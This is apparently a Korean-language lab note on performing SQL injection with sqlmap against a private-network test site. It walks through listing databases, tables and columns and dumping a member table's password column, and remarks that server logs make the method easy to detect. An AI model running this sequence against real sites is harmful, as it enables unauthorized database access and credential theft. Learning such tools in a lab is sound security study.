SQL 인젝션 (sqlmap 사용 - Kali Linux)

자동화 도구(sqlmap, 하비지 등) SQLmap 설치 : apt-get insatll sqlmap -y    sqlmap -u [공격 URL] --dbs    //단, 공격 URL은 GET방식 데이터를 전달하는 주소, DBMS 종류 및 DB 이름 알아내기 sqlmap -u [공격 URL] -D [DB명] --tables    // 테이블명 알아내기 sqlmap -u [공격 URL] -D [DB명] -T [테이블명] --columns      // 테이블의 칼럼명 알아내기 sqlmap -u [공격 URL] -D [DB명] -T [테이블명] -C [칼럼명] --dump      // 데이터 알아내기

sqlmap -u [URL] --dbs

sqlmap -u 192.168.10.5:9090/board_view.asp?num=1 --dbs

DBMS 종류와 DB의 이름들이 출력되었다.

sqlmap -u [URL] -D [DB명] --tables

sqlmap -u 192.168.10.5:9090/board_view.asp?num=1 -D board --tables

sqlmap -u [URL] -D [DB명] -T [TABLE] --columns

sqlmap -u 192.168.10.5:9090/board_view.asp?num=1 -D board -T member --columns

sqlmap -u [URL] -D [DB명] -T [TABLE] -C [COLUMNS] --dump

sqlmap -u 192.168.10.5:9090/board_view.asp?num=1 -D board -T member -C bPass --dump

이런 식으로 간편하게 SQL 인젝션을 수행할 수 있는 툴을 사용해보았다.

하지만 서버의 로그파일에 기록이 되기 때문에 발각될 확률이 매우 큰 방법이다.